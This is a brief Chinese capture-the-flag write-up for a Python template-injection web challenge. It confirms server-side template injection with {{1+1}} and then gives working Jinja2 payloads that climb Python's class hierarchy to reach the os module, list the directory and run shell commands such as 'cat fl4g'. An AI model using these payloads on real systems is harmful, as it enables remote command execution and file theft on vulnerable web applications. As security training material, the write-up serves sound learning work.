攻防世界-web-Web_python_template_injection(模板注入)

进入场景后,显示如下页面

猜测本题存在Python SSTI漏洞,验证一下,在url后面添加{{1+1}},回车显示如下

界面返回2,我们输入的1+1被执行了,说明服务器执行了{{}}里面这一段代码。

关于Python模板注入漏洞,可参考:https://www.cnblogs.com/wjw-zm/p/12741055.html

所以本题思路就是先查看当前目录,发现存在一个fl4g文件,然后读取此文件,获得flag。

首先,构造Payload1,查看当前目录,发现存在一个fl4g文件。

{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

或者
{{
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

然后,构造Payload2,读取此文件,获得flag。

{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

或者

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}

  

原文地址:https://www.cnblogs.com/zhengna/p/13297971.html